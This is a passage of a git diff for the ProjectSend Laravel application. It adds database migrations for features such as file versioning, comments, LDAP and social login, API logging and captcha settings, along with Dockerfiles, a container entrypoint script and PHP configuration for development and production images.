Schema::dropIfExists('notification_preferences'); + } +}; diff --git a/database/migrations/2026_08_10_090200_create_dashboard_widget_preferences_table.php b/database/migrations/2026_08_10_090200_create_dashboard_widget_preferences_table.php new file mode 100644 index 00000000..7f2f8fec --- /dev/null +++ b/database/migrations/2026_08_10_090200_create_dashboard_widget_preferences_table.php @@ -0,0 +1,33 @@ +id(); + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + $table->string('widget_key'); + $table->boolean('enabled')->default(true); + $table->unsignedTinyInteger('column_index')->default(0); + $table->unsignedInteger('position')->default(0); + $table->timestamps(); + + // An absent row means "use the documented default layout" — + // a row only exists once a user has actually rearranged or + // hidden something (see DashboardWidgetPreferences). + $table->unique(['user_id', 'widget_key']); + }); + } + + public function down(): void + { + Schema::dropIfExists('dashboard_widget_preferences'); + } +}; diff --git a/database/migrations/2026_08_10_090300_add_dashboard_columns_to_users_table.php b/database/migrations/2026_08_10_090300_add_dashboard_columns_to_users_table.php new file mode 100644 index 00000000..e7b24e11 --- /dev/null +++ b/database/migrations/2026_08_10_090300_add_dashboard_columns_to_users_table.php @@ -0,0 +1,27 @@ +unsignedTinyInteger('dashboard_columns')->nullable()->after('locale'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('dashboard_columns'); + }); + } +}; diff --git a/database/migrations/2026_08_11_090000_add_description_to_upload_sessions_table.php b/database/migrations/2026_08_11_090000_add_description_to_upload_sessions_table.php new file mode 100644 index 00000000..0fdad92c --- /dev/null +++ b/database/migrations/2026_08_11_090000_add_description_to_upload_sessions_table.php @@ -0,0 +1,24 @@ +text('description')->nullable()->after('mime_type'); + }); + } + + public function down(): void + { + Schema::table('upload_sessions', function (Blueprint $table) { + $table->dropColumn('description'); + }); + } +}; diff --git a/database/migrations/2026_08_11_090000_add_expires_at_to_files_table.php b/database/migrations/2026_08_11_090000_add_expires_at_to_files_table.php new file mode 100644 index 00000000..0104c0ea --- /dev/null +++ b/database/migrations/2026_08_11_090000_add_expires_at_to_files_table.php @@ -0,0 +1,28 @@ +timestamp('expires_at')->nullable()->after('public'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropColumn('expires_at'); + }); + } +}; diff --git a/database/migrations/2026_08_12_090000_add_client_editability_to_client_custom_fields_table.php b/database/migrations/2026_08_12_090000_add_client_editability_to_client_custom_fields_table.php new file mode 100644 index 00000000..c2713adb --- /dev/null +++ b/database/migrations/2026_08_12_090000_add_client_editability_to_client_custom_fields_table.php @@ -0,0 +1,25 @@ +string('client_editability')->default('hidden')->after('required'); + $table->json('client_contexts')->nullable()->after('client_editability'); + }); + } + + public function down(): void + { + Schema::table('client_custom_fields', function (Blueprint $table) { + $table->dropColumn(['client_editability', 'client_contexts']); + }); + } +}; diff --git a/database/migrations/2026_08_13_090000_remove_edit_self_account_permission_rows.php b/database/migrations/2026_08_13_090000_remove_edit_self_account_permission_rows.php new file mode 100644 index 00000000..84f2d505 --- /dev/null +++ b/database/migrations/2026_08_13_090000_remove_edit_self_account_permission_rows.php @@ -0,0 +1,27 @@ +where('permission', 'edit_self_account')->delete(); + } + + public function down(): void + { + // Deliberately not reversible: the permission it referenced no + // longer exists in the Permission enum. + } +}; diff --git a/database/migrations/2026_08_14_090000_remove_test_email_and_change_template_permission_rows.php b/database/migrations/2026_08_14_090000_remove_test_email_and_change_template_permission_rows.php new file mode 100644 index 00000000..b837c323 --- /dev/null +++ b/database/migrations/2026_08_14_090000_remove_test_email_and_change_template_permission_rows.php @@ -0,0 +1,29 @@ +whereIn('permission', ['test_email', 'change_template'])->delete(); + } + + public function down(): void + { + // Deliberately not reversible: the permissions they referenced no + // longer exist in the Permission enum. + } +}; diff --git a/database/migrations/2026_08_15_090000_grant_create_own_folders_to_client_role.php b/database/migrations/2026_08_15_090000_grant_create_own_folders_to_client_role.php new file mode 100644 index 00000000..5d71efc3 --- /dev/null +++ b/database/migrations/2026_08_15_090000_grant_create_own_folders_to_client_role.php @@ -0,0 +1,55 @@ +where('name', SystemRole::Client->value)->value('id'); + + if ($roleId === null) { + return; + } + + foreach (self::PERMISSIONS as $permission) { + $exists = DB::table('role_permission') + ->where('role_id', $roleId) + ->where('permission', $permission) + ->exists(); + + if (! $exists) { + DB::table('role_permission')->insert([ + 'role_id' => $roleId, + 'permission' => $permission, + ]); + } + } + } + + public function down(): void + { + $roleId = DB::table('roles')->where('name', SystemRole::Client->value)->value('id'); + + if ($roleId !== null) { + DB::table('role_permission')->where('role_id', $roleId)->whereIn('permission', self::PERMISSIONS)->delete(); + } + } +}; diff --git a/database/migrations/2026_08_16_090000_add_public_to_folders_table.php b/database/migrations/2026_08_16_090000_add_public_to_folders_table.php new file mode 100644 index 00000000..57790d0d --- /dev/null +++ b/database/migrations/2026_08_16_090000_add_public_to_folders_table.php @@ -0,0 +1,57 @@ +boolean('public')->default(false)->after('created_by'); + $table->string('slug')->nullable()->after('public'); + // Only meaningful (and only shown in the UI) once public is + // true — a client uploading here still needs upload_to_public_ + // folders on top of this being on (see Folder::uploadableBy). + $table->boolean('allow_client_uploads')->default(false)->after('slug'); + }); + + $usedSlugs = []; + + foreach (DB::table('folders')->orderBy('id')->get(['id', 'name']) as $folder) { + $base = Str::slug($folder->name) ?: 'folder'; + $slug = $base; + $suffix = 2; + + while (in_array($slug, $usedSlugs, true)) { + $slug = $base.'-'.$suffix; + $suffix++; + } + + $usedSlugs[] = $slug; + + DB::table('folders')->where('id', $folder->id)->update(['slug' => $slug]); + } + + Schema::table('folders', function (Blueprint $table) { + $table->string('slug')->nullable(false)->unique()->change(); + }); + } + + public function down(): void + { + Schema::table('folders', function (Blueprint $table) { + $table->dropColumn(['public', 'slug', 'allow_client_uploads']); + }); + } +}; diff --git a/database/migrations/2026_08_17_090000_add_folder_id_to_upload_sessions_table.php b/database/migrations/2026_08_17_090000_add_folder_id_to_upload_sessions_table.php new file mode 100644 index 00000000..dc0addf5 --- /dev/null +++ b/database/migrations/2026_08_17_090000_add_folder_id_to_upload_sessions_table.php @@ -0,0 +1,29 @@ +foreignId('folder_id')->nullable()->after('user_id')->constrained('folders')->nullOnDelete(); + }); + } + + public function down(): void + { + Schema::table('upload_sessions', function (Blueprint $table) { + $table->dropConstrainedForeignId('folder_id'); + }); + } +}; diff --git a/database/migrations/2026_08_18_090000_create_scheduled_task_runs_table.php b/database/migrations/2026_08_18_090000_create_scheduled_task_runs_table.php new file mode 100644 index 00000000..e0aa7883 --- /dev/null +++ b/database/migrations/2026_08_18_090000_create_scheduled_task_runs_table.php @@ -0,0 +1,29 @@ +id(); + // The artisan command signature (e.g. 'projectsend:purge-expired-files') + // — one row per known scheduled command, upserted on every run. + $table->string('command')->unique(); + $table->string('status'); + $table->text('message')->nullable(); + $table->unsignedInteger('duration_ms')->nullable(); + $table->timestamp('ran_at'); + }); + } + + public function down(): void + { + Schema::dropIfExists('scheduled_task_runs'); + } +}; diff --git a/database/migrations/2026_08_19_090000_create_personal_access_tokens_table.php b/database/migrations/2026_08_19_090000_create_personal_access_tokens_table.php new file mode 100644 index 00000000..49b99a3a --- /dev/null +++ b/database/migrations/2026_08_19_090000_create_personal_access_tokens_table.php @@ -0,0 +1,39 @@ +id(); + $table->morphs('tokenable'); + $table->text('name'); + $table->string('token', 64)->unique(); + $table->text('abilities')->nullable(); + $table->timestamp('last_used_at')->nullable(); + // Indexed because expiry is per token here (config/sanctum.php's + // global 'expiration' is null on purpose), so both the auth path + // and the pruning command filter on this column. + $table->timestamp('expires_at')->nullable()->index(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('personal_access_tokens'); + } +}; diff --git a/database/migrations/2026_08_20_090000_add_polling_index_to_files_table.php b/database/migrations/2026_08_20_090000_add_polling_index_to_files_table.php new file mode 100644 index 00000000..70de94e1 --- /dev/null +++ b/database/migrations/2026_08_20_090000_add_polling_index_to_files_table.php @@ -0,0 +1,31 @@ +index(['updated_at', 'id'], 'files_updated_at_id_index'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropIndex('files_updated_at_id_index'); + }); + } +}; diff --git a/database/migrations/2026_08_21_090000_add_polling_indexes_to_users_and_groups.php b/database/migrations/2026_08_21_090000_add_polling_indexes_to_users_and_groups.php new file mode 100644 index 00000000..1815120e --- /dev/null +++ b/database/migrations/2026_08_21_090000_add_polling_indexes_to_users_and_groups.php @@ -0,0 +1,40 @@ +index(['updated_at', 'id'], 'users_updated_at_id_index'); + }); + + Schema::table('groups', function (Blueprint $table) { + $table->index(['updated_at', 'id'], 'groups_updated_at_id_index'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropIndex('users_updated_at_id_index'); + }); + + Schema::table('groups', function (Blueprint $table) { + $table->dropIndex('groups_updated_at_id_index'); + }); + } +}; diff --git a/database/migrations/2026_08_22_090000_add_origin_to_activity_log.php b/database/migrations/2026_08_22_090000_add_origin_to_activity_log.php new file mode 100644 index 00000000..4110337f --- /dev/null +++ b/database/migrations/2026_08_22_090000_add_origin_to_activity_log.php @@ -0,0 +1,77 @@ +string('origin', 16)->default('ui')->index()->after('actor_type'); + $table->unsignedBigInteger('api_token_id')->nullable()->after('origin'); + $table->string('api_token_name')->nullable()->after('api_token_id'); + }); + + // Existing rows: anything with no actor was the system, everything + // else came from the UI — the API did not exist when they were + // written. The handful of entries the API wrote between its first + // release and this migration carry `via: api` in their context, so + // promote those rather than mislabel them. + DB::table('activity_log')->whereNull('actor_type')->update(['origin' => 'system']); + + // Matched through the JSON path rather than a LIKE over the raw + // text: MySQL's `json` column type stores a normalised document, + // so the value comes back as `{"via": "api"}` — with a space that + // a naive `%"via":"api"%` pattern misses entirely, silently + // relabelling every historical API action as a UI one. The JSON + // operator is also the only form that works on both MySQL and the + // SQLite the test suite runs on. + DB::table('activity_log') + ->where('context->via', 'api') + ->update([ + 'origin' => 'api', + // Those entries recorded the token's name in the context + // bag; lift it into the column so the log reads the same + // for them as for everything written after this. + 'api_token_name' => DB::raw($this->jsonExtract('context', 'api_token')), + ]); + } + + /** + * MySQL and SQLite spell "read this JSON key as text" differently, and + * this migration has to run on both — MySQL in production, SQLite in + * the test suite. + */ + private function jsonExtract(string $column, string $key): string + { + return DB::connection()->getDriverName() === 'sqlite' + ? "json_extract({$column}, '$.{$key}')" + : "json_unquote(json_extract({$column}, '$.{$key}'))"; + } + + public function down(): void + { + Schema::table('activity_log', function (Blueprint $table) { + $table->dropIndex(['origin']); + $table->dropColumn(['origin', 'api_token_id', 'api_token_name']); + }); + } +}; diff --git a/database/migrations/2026_08_23_090000_create_api_request_logs_table.php b/database/migrations/2026_08_23_090000_create_api_request_logs_table.php new file mode 100644 index 00000000..3fc65f99 --- /dev/null +++ b/database/migrations/2026_08_23_090000_create_api_request_logs_table.php @@ -0,0 +1,62 @@ +id(); + $table->unsignedBigInteger('api_token_id')->nullable(); + $table->string('api_token_name')->nullable(); + $table->foreignId('user_id')->nullable()->constrained()->nullOnDelete(); + $table->string('method', 10); + $table->string('route'); + $table->unsignedSmallInteger('status'); + $table->unsignedInteger('duration_ms'); + $table->timestamp('created_at')->index(); + + // The dashboard's two questions: "what has this token been + // doing" and "what has the API been doing lately". + $table->index(['api_token_id', 'created_at']); + $table->index(['route', 'created_at']); + }); + } + + public function down(): void + { + Schema::dropIfExists('api_request_logs'); + } +}; diff --git a/database/migrations/2026_08_24_090000_create_file_comments_table.php b/database/migrations/2026_08_24_090000_create_file_comments_table.php new file mode 100644 index 00000000..311698ac --- /dev/null +++ b/database/migrations/2026_08_24_090000_create_file_comments_table.php @@ -0,0 +1,72 @@ +id(); + $table->foreignId('file_id')->constrained()->cascadeOnDelete(); + $table->foreignId('author_id')->nullable()->constrained('users')->cascadeOnDelete(); + $table->foreignId('client_context_id')->nullable()->constrained('users')->cascadeOnDelete(); + $table->string('guest_name')->nullable(); + $table->string('ip_address', 45)->nullable(); + $table->string('visibility', 20); + $table->text('body'); + $table->timestamp('approved_at')->nullable(); + $table->timestamp('edited_at')->nullable(); + $table->timestamps(); + $table->softDeletes(); + + // Loading a thread: always by file, usually narrowed by one of + // the two columns the visibility rules turn on. + $table->index(['file_id', 'visibility']); + $table->index(['file_id', 'client_context_id']); + // The moderation queue's own listing. + $table->index('approved_at'); + }); + } + + public function down(): void + { + Schema::dropIfExists('file_comments'); + } +}; diff --git a/database/migrations/2026_08_24_090100_add_commentable_to_files_table.php b/database/migrations/2026_08_24_090100_add_commentable_to_files_table.php new file mode 100644 index 00000000..e4242053 --- /dev/null +++ b/database/migrations/2026_08_24_090100_add_commentable_to_files_table.php @@ -0,0 +1,35 @@ +boolean('commentable')->default(false)->after('public'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropColumn('commentable'); + }); + } +}; diff --git a/database/migrations/2026_08_25_090000_create_pending_notifications_table.php b/database/migrations/2026_08_25_090000_create_pending_notifications_table.php new file mode 100644 index 00000000..98e8abfd --- /dev/null +++ b/database/migrations/2026_08_25_090000_create_pending_notifications_table.php @@ -0,0 +1,57 @@ +id(); + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + $table->string('type'); + $table->string('subject_name'); + $table->json('context')->nullable(); + $table->timestamps(); + + // The job's only query: everything pending for one recipient. + $table->index(['user_id', 'type']); + }); + } + + public function down(): void + { + Schema::dropIfExists('pending_notifications'); + + Schema::create('pending_file_shares', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + $table->string('item_name'); + $table->boolean('is_folder')->default(false); + $table->timestamps(); + }); + } +}; diff --git a/database/migrations/2026_08_26_090000_add_file_versioning_to_files_table.php b/database/migrations/2026_08_26_090000_add_file_versioning_to_files_table.php new file mode 100644 index 00000000..21b0f6b3 --- /dev/null +++ b/database/migrations/2026_08_26_090000_add_file_versioning_to_files_table.php @@ -0,0 +1,67 @@ + version_root_id IS NULL. + * + * nullOnDelete() rather than cascade on both: cascading would mean + * force-deleting an original destroys the revision's *row* — its comments, + * its download history, its bytes — which is the opposite of the point. + * Files are soft-deleted in practice (File::booted), so these FKs are a + * safety net; FileVersions::detachOnDelete handles the live path. + */ +return new class extends Migration +{ + public function up(): void + { + Schema::table('files', function (Blueprint $table) { + $table->foreignId('previous_file_id')->nullable()->after('folder_id') + ->constrained('files')->nullOnDelete(); + $table->unique('previous_file_id', 'files_previous_file_id_unique'); + + $table->foreignId('version_root_id')->nullable()->after('previous_file_id') + ->constrained('files')->nullOnDelete(); + $table->index('version_root_id', 'files_version_root_id_index'); + }); + } + + /** + * Both indexes are left to go with their columns rather than dropped + * first: MySQL refuses to drop an index a foreign key still needs + * ("Cannot drop index … needed in a foreign key constraint"), and + * dropConstrainedForeignId drops the constraint before the column, at + * which point the index goes with it. + */ + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropConstrainedForeignId('version_root_id'); + $table->dropConstrainedForeignId('previous_file_id'); + }); + } +}; diff --git a/database/migrations/2026_08_26_090100_add_previous_file_id_to_upload_sessions_table.php b/database/migrations/2026_08_26_090100_add_previous_file_id_to_upload_sessions_table.php new file mode 100644 index 00000000..11cf2749 --- /dev/null +++ b/database/migrations/2026_08_26_090100_add_previous_file_id_to_upload_sessions_table.php @@ -0,0 +1,37 @@ +foreignId('previous_file_id')->nullable()->after('folder_id') + ->constrained('files')->nullOnDelete(); + }); + } + + public function down(): void + { + Schema::table('upload_sessions', function (Blueprint $table) { + $table->dropConstrainedForeignId('previous_file_id'); + }); + } +}; diff --git a/database/migrations/2026_08_27_090000_add_ldap_to_users_table.php b/database/migrations/2026_08_27_090000_add_ldap_to_users_table.php new file mode 100644 index 00000000..e4ccceef --- /dev/null +++ b/database/migrations/2026_08_27_090000_add_ldap_to_users_table.php @@ -0,0 +1,34 @@ +string('auth_source')->default('local')->after('type'); + + // The directory entry this account was matched to, kept so an + // administrator can see which object in their tree an account + // corresponds to. Never used to bind — the DN is always the one + // a fresh search returned. + $table->string('ldap_dn')->nullable()->after('auth_source'); + $table->timestamp('ldap_synced_at')->nullable()->after('ldap_dn'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn(['auth_source', 'ldap_dn', 'ldap_synced_at']); + }); + } +}; diff --git a/database/migrations/2026_08_27_090100_create_ldap_settings_table.php b/database/migrations/2026_08_27_090100_create_ldap_settings_table.php new file mode 100644 index 00000000..af77083c --- /dev/null +++ b/database/migrations/2026_08_27_090100_create_ldap_settings_table.php @@ -0,0 +1,52 @@ +id(); + $table->boolean('active')->default(false); + $table->string('host')->nullable(); + $table->unsignedSmallInteger('port')->default(389); + $table->string('encryption')->default('tls'); + // For a directory presenting a certificate from a private CA — + // the honest answer to the "just don't verify it" request. + $table->string('ca_cert_path')->nullable(); + // Empty bind_dn means an anonymous bind, which some directories + // allow for the search step. + $table->string('bind_dn')->nullable(); + $table->text('bind_password')->nullable(); + $table->string('base_dn')->nullable(); + // Admin-supplied, ANDed with the email match. Never concatenated + // with anything a visitor typed. + $table->string('user_filter')->nullable(); + $table->string('email_attribute')->default('mail'); + $table->string('name_attribute')->default('cn'); + $table->boolean('auto_provision')->default(false); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('ldap_settings'); + } +}; diff --git a/database/migrations/2026_08_28_090000_add_auto_approve_to_ldap_settings_table.php b/database/migrations/2026_08_28_090000_add_auto_approve_to_ldap_settings_table.php new file mode 100644 index 00000000..42e9f5dd --- /dev/null +++ b/database/migrations/2026_08_28_090000_add_auto_approve_to_ldap_settings_table.php @@ -0,0 +1,36 @@ +boolean('auto_approve')->default(false)->after('auto_provision'); + }); + } + + public function down(): void + { + Schema::table('ldap_settings', function (Blueprint $table) { + $table->dropColumn('auto_approve'); + }); + } +}; diff --git a/database/migrations/2026_08_29_090000_create_social_login_providers_table.php b/database/migrations/2026_08_29_090000_create_social_login_providers_table.php new file mode 100644 index 00000000..2680d93a --- /dev/null +++ b/database/migrations/2026_08_29_090000_create_social_login_providers_table.php @@ -0,0 +1,50 @@ +id(); + $table->string('provider')->unique(); + $table->boolean('enabled')->default(false); + $table->string('client_id')->nullable(); + $table->text('client_secret')->nullable(); + // Generic OIDC only: the discovery document is fetched from + // here, so it is the entire configuration of an unknown server. + $table->string('issuer_url')->nullable(); + // Microsoft only, and required there. Entra's `email` claim is + // user-mutable and unverified, so a pinned tenant is the only + // thing that makes it trustworthy — see SocialIdentity. + $table->string('tenant_id')->nullable(); + // Defaults on, because off is the v1 bug. + $table->boolean('require_verified_email')->default(true); + // Comma-separated, blank means any. Without it, a public Google + // client plus auto-provisioning means the whole internet. + $table->string('allowed_domains')->nullable(); + $table->boolean('auto_provision')->default(false); + $table->boolean('auto_approve')->default(false); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('social_login_providers'); + } +}; diff --git a/database/migrations/2026_08_29_090100_create_social_accounts_table.php b/database/migrations/2026_08_29_090100_create_social_accounts_table.php new file mode 100644 index 00000000..8ed516c8 --- /dev/null +++ b/database/migrations/2026_08_29_090100_create_social_accounts_table.php @@ -0,0 +1,47 @@ +id(); + $table->foreignId('user_id')->constrained()->cascadeOnDelete(); + $table->string('provider'); + $table->string('provider_user_id'); + $table->string('email')->nullable(); + $table->timestamps(); + + // One identity, one account. Without this, the same directory + // identity could be linked to two accounts and which one you + // land on becomes a matter of row order. + $table->unique(['provider', 'provider_user_id']); + // An account may hold at most one link per provider, so + // "disconnect Google" is unambiguous. + $table->unique(['user_id', 'provider']); + }); + } + + public function down(): void + { + Schema::dropIfExists('social_accounts'); + } +}; diff --git a/database/migrations/2026_08_30_090000_add_timezone_to_users_table.php b/database/migrations/2026_08_30_090000_add_timezone_to_users_table.php new file mode 100644 index 00000000..f76d27e1 --- /dev/null +++ b/database/migrations/2026_08_30_090000_add_timezone_to_users_table.php @@ -0,0 +1,33 @@ +string('timezone')->nullable()->after('locale'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('timezone'); + }); + } +}; diff --git a/database/migrations/2026_08_31_090000_add_download_limit_to_files_table.php b/database/migrations/2026_08_31_090000_add_download_limit_to_files_table.php new file mode 100644 index 00000000..603236e3 --- /dev/null +++ b/database/migrations/2026_08_31_090000_add_download_limit_to_files_table.php @@ -0,0 +1,43 @@ +unsignedInteger('download_limit')->nullable()->after('expires_at'); + + // Meaningless while download_limit is null, which is why it + // has a default rather than being nullable too: a file that + // has never had a limit still answers "which kind would it + // be" without a null check at every read. + $table->string('download_limit_scope', 16)->default('total')->after('download_limit'); + + // Not for finding limited files — for answering "does this + // installation use limits at all?" in one indexed query, so + // listings on the overwhelming majority of installs that + // never touch the feature can skip counting downloads per row + // entirely. See DownloadAllowance::isUsedAnywhere(). + $table->index('download_limit'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropIndex(['download_limit']); + $table->dropColumn(['download_limit', 'download_limit_scope']); + }); + } +}; diff --git a/database/migrations/2026_08_31_090100_add_delivery_to_zip_downloads_table.php b/database/migrations/2026_08_31_090100_add_delivery_to_zip_downloads_table.php new file mode 100644 index 00000000..42c40bea --- /dev/null +++ b/database/migrations/2026_08_31_090100_add_delivery_to_zip_downloads_table.php @@ -0,0 +1,37 @@ +timestamp('delivered_at')->nullable()->after('total_size'); + + // Files left out because their download limit was already + // spent. Recorded so the person who asked for the archive is + // told what is missing from it rather than quietly receiving + // less than they selected. + $table->json('skipped_files')->nullable()->after('delivered_at'); + }); + } + + public function down(): void + { + Schema::table('zip_downloads', function (Blueprint $table) { + $table->dropColumn(['delivered_at', 'skipped_files']); + }); + } +}; diff --git a/database/migrations/2026_09_01_090000_create_captcha_providers_table.php b/database/migrations/2026_09_01_090000_create_captcha_providers_table.php new file mode 100644 index 00000000..a02d9e8f --- /dev/null +++ b/database/migrations/2026_09_01_090000_create_captcha_providers_table.php @@ -0,0 +1,42 @@ +id(); + $table->string('provider')->unique(); + $table->string('site_key')->nullable(); + // text, not string: this column holds ciphertext (see the + // 'encrypted' cast on CaptchaSettings), which is several times + // longer than the secret an administrator pasted in. + $table->text('secret_key')->nullable(); + // reCAPTCHA v3 only. Null for the providers that decide rather + // than score, so an unused column is empty instead of holding + // a number that means nothing. + $table->decimal('score_threshold', 3, 2)->nullable()->default(0.5); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('captcha_providers'); + } +}; diff --git a/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php new file mode 100644 index 00000000..d01a0ef2 --- /dev/null +++ b/database/seeders/DatabaseSeeder.php @@ -0,0 +1,23 @@ +create(); + + User::factory()->create([ + 'name' => 'Test User', + 'email' => 'test@example.com', + ]); + } +} diff --git a/docker/app/Dockerfile b/docker/app/Dockerfile new file mode 100644 index 00000000..3666855f --- /dev/null +++ b/docker/app/Dockerfile @@ -0,0 +1,53 @@ +FROM php:8.4-fpm-alpine + +# Matches the host user's uid/gid so the bind-mounted repo (dev) needs no +# runtime chown: www-data inside the container owns it already. +ARG WWWUSER=1000 +ARG WWWGROUP=1000 + +RUN apk add --no-cache \ + su-exec \ + icu-dev \ + libzip-dev \ + libpng-dev \ + libjpeg-turbo-dev \ + libwebp-dev \ + freetype-dev \ + linux-headers \ + # LDAP authentication. Kept out of the $PHPIZE_DEPS group below, + # which is deleted after the build — this one has to stay, since + # the extension links against it at runtime. Required in every + # edition, not only where LDAP is switched on: directorytree/ + # ldaprecord declares ext-ldap, so composer install fails without + # it whether or not an installation ever binds to a directory. + openldap-dev \ + $PHPIZE_DEPS \ + && docker-php-ext-configure gd --with-jpeg --with-webp --with-freetype \ + && docker-php-ext-install -j"$(nproc)" \ + bcmath \ + pdo_mysql \ + intl \ + zip \ + gd \ + ldap \ + pcntl \ + opcache \ + && pecl install redis \ + && docker-php-ext-enable redis \ + && apk del $PHPIZE_DEPS \ + && delgroup www-data 2>/dev/null || true \ + && deluser www-data 2>/dev/null || true \ + && addgroup -g "$WWWGROUP" www-data \ + && adduser -D -H -u "$WWWUSER" -G www-data www-data + +COPY --from=composer:2 /usr/bin/composer /usr/bin/composer + +COPY docker/app/php.ini /usr/local/etc/php/conf.d/projectsend.ini +COPY docker/app/www-pool.conf /usr/local/etc/php-fpm.d/zz-www-pool.conf +COPY docker/app/entrypoint.sh /usr/local/bin/projectsend-entrypoint +RUN chmod +x /usr/local/bin/projectsend-entrypoint + +WORKDIR /var/www/html + +ENTRYPOINT ["projectsend-entrypoint"] +CMD ["php-fpm"] diff --git a/docker/app/entrypoint.sh b/docker/app/entrypoint.sh new file mode 100644 index 00000000..b68ff4b7 --- /dev/null +++ b/docker/app/entrypoint.sh @@ -0,0 +1,44 @@ +#!/bin/sh +set -e + +# php-fpm's master process must stay root: it forks workers as www-data +# itself via the pool config (php-fpm can't reopen its own error_log as +# non-root at startup). queue:work/schedule:work have no such fork model, +# so they drop straight to www-data (uid/gid matches the host user, see +# Dockerfile ARGs) instead of running as root for their whole lifetime. + +# The app writes to these as www-data, and boot is the one moment this +# container runs as root — so repair ownership here, every boot. Root-run +# `docker compose exec` shells and uid changes across image rebuilds leave +# root-owned directories behind, and the first symptom is an opaque +# "mkdir(): Permission denied" 500 on upload. The file library's contents +# are deliberately NOT chowned recursively: -R over a large library on +# every boot is not free, and new writes only need the directories. +mkdir -p storage/app/files storage/app/private storage/app/public storage/app/uploads-tmp \ + storage/framework/cache storage/framework/sessions storage/framework/testing storage/framework/views \ + storage/logs bootstrap/cache +chown www-data:www-data storage storage/app storage/app/files storage/app/private storage/app/public +chown -R www-data:www-data storage/app/uploads-tmp storage/framework storage/logs bootstrap/cache + +# First-boot bootstrap runs only for the FPM service (the worker execs +# straight through) and only when the app is actually installed. +if [ "$1" = "php-fpm" ] && [ -f vendor/autoload.php ]; then + su-exec www-data php artisan migrate --force + su-exec www-data php artisan storage:link --force + su-exec www-data php artisan projectsend:ensure-roles + + # Unattended provisioning: create the first administrator from the + # environment. Without these, the web setup screen prompts instead. + if [ -n "$ADMIN_EMAIL" ] && [ -n "$ADMIN_PASSWORD" ]; then + su-exec www-data php artisan projectsend:admin --if-none \ + --name="${ADMIN_NAME:-Administrator}" \ + --email="$ADMIN_EMAIL" \ + --password="$ADMIN_PASSWORD" + fi +fi + +if [ "$1" = "php-fpm" ]; then + exec "$@" +else + exec su-exec www-data "$@" +fi diff --git a/docker/app/php.ini b/docker/app/php.ini new file mode 100644 index 00000000..c83cadc6 --- /dev/null +++ b/docker/app/php.ini @@ -0,0 +1,11 @@ +; App uploads are direct-to-storage in production (brief §3); these limits only +; cover metadata requests and local-dev fallbacks. +upload_max_filesize = 100M +post_max_size = 100M +memory_limit = 256M + +opcache.enable = 1 +opcache.validate_timestamps = 1 + +; No X-Powered-By header — the PHP version is nobody's business but ours. +expose_php = Off diff --git a/docker/app/www-pool.conf b/docker/app/www-pool.conf new file mode 100644 index 00000000..127960b4 --- /dev/null +++ b/docker/app/www-pool.conf @@ -0,0 +1,11 @@ +; Overrides only — loaded after the base image's www.conf/docker.conf (see +; /usr/local/etc/php-fpm.d/*.conf) thanks to the zz- prefix it's copied +; under, same convention the base image itself uses for docker.conf vs +; zz-docker.conf. Stock pm.max_children=5 is a "container boots" number, +; not a "handles concurrent users" number, and nothing else here caps how +; much RAM the pool can claim on a shared VPS. +[www] +pm = ondemand +pm.max_children = 10 +pm.process_idle_timeout = 10s +pm.max_requests = 500 diff --git a/docker/production/Dockerfile b/docker/production/Dockerfile new file mode 100644 index 00000000..9b3b5d07 --- /dev/null +++ b/docker/production/Dockerfile @@ -0,0 +1,105 @@ +# The official ProjectSend image — Community edition. +# +# This does NOT build the application. It packages a release artifact that +# has already been built and verified, so the image and the published zip +# are the same bytes. That is also what keeps it buildable without any +# credentials: the artifact arrives with its dependencies already vendored, +# so nothing here needs to reach the network. +# +# The build context is a staging directory, not the repository: unpack a +# release zip, place these files beside it, and build from there. +# +# One container runs the whole application: nginx, php-fpm, the queue +# worker and the scheduler, under supervisord. ProjectSend needs nginx +# specifically — protected downloads are served with X-Accel-Redirect, so +# an fpm-only image would leave every download broken unless the operator +# reproduced the config exactly. An external MySQL and Redis are still +# expected; see compose.example.yaml. + +FROM php:8.4-fpm-alpine + +LABEL org.opencontainers.image.title="ProjectSend" \ + org.opencontainers.image.description="Client file sharing, self-hosted. Community edition." \ + org.opencontainers.image.source="https://github.com/projectsend/projectsend" \ + org.opencontainers.image.licenses="MIT" + +# Extension set is identical to docker/app/Dockerfile — if that one gains an +# extension because the application started needing it, this one has to gain +# it too, or the image boots and then fails at the first request that uses it. +RUN apk add --no-cache \ + nginx \ + supervisor \ + su-exec \ + icu-dev \ + libzip-dev \ + libpng-dev \ + libjpeg-turbo-dev \ + libwebp-dev \ + freetype-dev \ + linux-headers \ + # LDAP links at runtime, so unlike $PHPIZE_DEPS it must survive the + # cleanup below. Required in every edition: directorytree/ldaprecord + # declares ext-ldap, so the app will not boot without it whether or + # not this installation ever binds to a directory. + openldap-dev \ + $PHPIZE_DEPS \ + && docker-php-ext-configure gd --with-jpeg --with-webp --with-freetype \ + && docker-php-ext-install -j"$(nproc)" \ + bcmath \ + pdo_mysql \ + intl \ + zip \ + gd \ + ldap \ + pcntl \ + opcache \ + && pecl install redis \ + && docker-php-ext-enable redis \ + && apk del $PHPIZE_DEPS \ + && rm -rf /tmp/pear + +# A fixed uid, unlike the dev image's WWWUSER/WWWGROUP build args. Those +# exist only to make a bind-mounted repo writable without chown; there are +# no bind mounts here, and a published image must not vary by build host. +RUN delgroup www-data 2>/dev/null || true \ + && deluser www-data 2>/dev/null || true \ + && addgroup -g 1000 www-data \ + && adduser -D -H -u 1000 -G www-data www-data + 